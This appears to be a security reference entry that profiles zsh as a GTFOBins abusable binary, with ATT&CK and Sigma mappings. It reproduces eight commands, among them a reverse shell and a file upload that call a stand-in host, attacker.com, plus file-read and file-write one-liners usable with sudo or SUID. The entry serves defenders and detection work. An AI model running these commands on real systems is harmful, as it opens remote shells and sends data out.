Identifier / Programs / Linux and Unix
zsh
Z SHell, a Bash-compatible command-line interpreter. tldr-pages
GTFOBins download, file-read, file-write, inherit, reverse-shell, upload 8 Sigma rules name it 2 ATT&CK techniques 8 documented commands
How zsh is abused
file-read
-cfile-write
-cinherit
-creverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell
-cupload
-c-nEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for zsh.
8 documented commands
download unprivileged, with sudo, as SUID
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'Identifyfile-read unprivileged, with sudo, as SUID
zsh -c 'echo "$(</path/to/input-file)"'Identifyfile-read unprivileged, with sudo, as SUID
This spawns a pager if run in a TTY.
zsh -c '</path/to/input-file'Identifyfile-write unprivileged, with sudo, as SUID
zsh -c 'echo DATA >/path/to/output-file'Identifyinherit unprivileged, with sudo, as SUID
zsh -c '</etc/hosts'Identifyreverse-shell unprivileged, with sudo, as SUID
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'Identifyshell unprivileged, with sudo, as SUID
zshIdentifyupload unprivileged, with sudo, as SUID
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'IdentifyNone of the 8 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for zsh. The identifier reads the line of each that runs zsh.